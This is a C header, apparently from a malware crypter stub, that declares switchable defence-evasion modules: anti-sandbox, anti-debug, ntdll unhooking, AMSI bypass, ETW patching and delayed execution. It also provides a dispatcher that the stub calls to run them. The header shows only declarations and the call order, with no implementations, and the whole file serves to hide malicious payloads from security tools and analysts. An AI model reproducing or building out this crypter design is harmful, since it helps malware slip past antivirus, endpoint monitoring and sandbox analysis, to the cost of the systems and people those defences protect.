#ifndef EVASION_H #define EVASION_H /* Each evasion module provides a single init function. * The crypter engine defines EVASION_xxx macros to enable/disable each one. * stub_main.c calls evasion_init_all() which conditionally invokes them. */ #ifdef EVASION_ANTI_SANDBOX void evasion_anti_sandbox_init(void); #endif #ifdef EVASION_ANTI_DEBUG void evasion_anti_debug_init(void); #endif #ifdef EVASION_UNHOOK_NTDLL void evasion_unhook_init(void); #endif #ifdef EVASION_AMSI_BYPASS void evasion_amsi_init(void); #endif #ifdef EVASION_ETW_PATCH void evasion_etw_init(void); #endif #ifdef EVASION_DELAYED_EXEC void evasion_sleep_init(void); #endif static inline void evasion_init_all(void) { #ifdef EVASION_DELAYED_EXEC evasion_sleep_init(); #endif #ifdef EVASION_ANTI_SANDBOX evasion_anti_sandbox_init(); #endif #ifdef EVASION_ANTI_DEBUG evasion_anti_debug_init(); #endif #ifdef EVASION_UNHOOK_NTDLL evasion_unhook_init(); #endif #ifdef EVASION_AMSI_BYPASS evasion_amsi_init(); #endif #ifdef EVASION_ETW_PATCH evasion_etw_init(); #endif } #endif /* EVASION_H */